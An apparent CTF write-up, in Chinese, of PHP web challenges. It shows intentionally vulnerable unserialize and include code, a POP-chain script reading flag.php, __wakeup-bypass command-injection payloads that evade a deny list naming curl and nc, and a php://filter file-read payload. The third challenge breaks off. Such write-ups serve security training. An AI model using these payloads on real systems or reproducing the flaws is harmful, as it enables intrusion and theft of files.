0x00 serialize1
<?php
show_source("index.php");
//error_reporting(0);
class test{
public $username;
public $password;
function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
$info = 'your secret is '.$this->password;
echo $info;
}
}
class exam{
public $file;
function __toString(){
//flag.php
echo file_get_contents($this->file);
return 'nice';
}
}
$text = $_GET['text'];
$res = unserialize($text);
?>
重点是echo file_get_contents($this->file);为了触发__toString(),必须找一个能把exam类当字符输出的地方,向上可以找到echo $info,且$password可控,脚本如下:
<?php
class test{
public $username;
public $password;
function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
$info = 'your secret is '.$this->password;
echo $info;
}
}
class exam{
public $file;
function __toString(){
echo file_get_contents($this->file);
return 'nice';
}
}
$b = new exam();
$b->file = '/var/www/html/flag.php';
$a = new test("shawroot",$b);
echo serialize($a)."<br />";
?>
写绝对路径的原因(还有待研究):
- 析构函数在脚本关闭时候,可能存在目录穿越
- 析构函数在脚本关闭时调用,此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI(如 apache)中时不同。
0x01 安慰奖
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
老生常谈的绕过__wakeup()。要注意成员变量为protected。
首先先看一下当前目录有哪些文件:O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:2:"ls";}
存在flag.php因为过滤了cat等查看文件的命令,使用tac即可。
最终payload:
O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:6:"tac f*";}
0x02 upload
提示file参数,存在文件包含:
file=php://filter/read=convert.base64-encode/resource=include
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>